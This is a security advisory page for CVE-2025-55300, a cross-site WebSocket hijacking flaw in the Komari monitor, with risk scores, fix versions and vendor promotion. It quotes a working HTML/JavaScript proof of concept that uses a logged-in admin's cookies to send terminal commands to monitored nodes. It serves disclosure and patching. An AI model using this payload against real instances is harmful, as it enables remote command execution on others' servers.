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Not in CISA KEV

GHSA-q355-h244-969h komari

Fix: komari-monitor/komari@53171af

GHSA-q355-h244-969h is a Cross-site Scripting (XSS) vulnerability in github.com/komari-monitor/komari. A fix is available for github.com/komari-monitor/komari — see the affected versions and patch details below.

Komari vulnerable to Cross-site WebSocket Hijacking

Also known asCVE-2025-55300GO-2025-3874
Published
Aug 12, 2025
Updated
Aug 19, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-q355-h244-969h.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹github.com/komari-monitor/komari

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

  1. Login in to your komari instance
  2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
  3. Visit this HTML page, you can see your node is executing uptime without your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/komari-monitor/komariall versions0.0.0-20250809073044-53171affcaf0go get github.com/komari-monitor/komari@v0.0.0-20250809073044-53171affcaf0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/komari-monitor/komari, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/komari-monitor/komari to 0.0.0-20250809073044-53171affcaf0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-q355-h244-969h is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-q355-h244-969h can be triaged on real exposure rather than presence alone.

Tailored to GHSA-q355-h244-969h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users ### Details https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35 Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution ### PoC 1. Login in to your komari instance 2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours 3. Visit this HTML page, you can see your n
O3 Security · Impact-Aware SCA

Is GHSA-q355-h244-969h in your dependencies?

O3 Security finds GHSA-q355-h244-969h across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-q355-h244-969h: komari RCE | O3 Security